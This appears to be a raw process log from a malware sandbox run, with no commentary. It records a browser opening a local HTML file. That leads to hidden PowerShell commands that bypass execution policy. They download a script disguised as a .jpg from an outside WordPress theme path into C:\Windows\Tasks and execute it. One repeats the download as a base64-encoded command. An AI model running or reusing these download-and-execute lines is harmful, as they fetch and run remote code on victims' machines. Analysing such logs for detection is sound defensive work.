iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\test22\AppData\Local\Temp\1.txt.html
7680powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden powershell -command { IEX(New-Object Net.WebClient).DownloadFile('https://ohchip.com/wp-content/themes/twentynineteen/fonts/0e4bjrNIsattty5G.jpg', 'C:\Windows\Tasks\x.ps1')};PowerShell -NoProfile -ExecutionPolicy Bypass -Command 'C:\Windows\Tasks\x.ps1'
3752powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand IABJAEUAWAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAG8AaABjAGgAaQBwAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdABoAGUAbQBlAHMALwB0AHcAZQBuAHQAeQBuAGkAbgBlAHQAZQBlAG4ALwBmAG8AbgB0AHMALwAwAGUANABiAGoAcgBOAEkAcwBhAHQAdAB0AHkANQBHAC4AagBwAGcAJwAsACAAJwBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABhAHMAawBzAFwAeAAuAHAAcwAxACcAKQA= -inputFormat xml -outputFormat text
1812powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command C:\Windows\Tasks\x.ps1
5352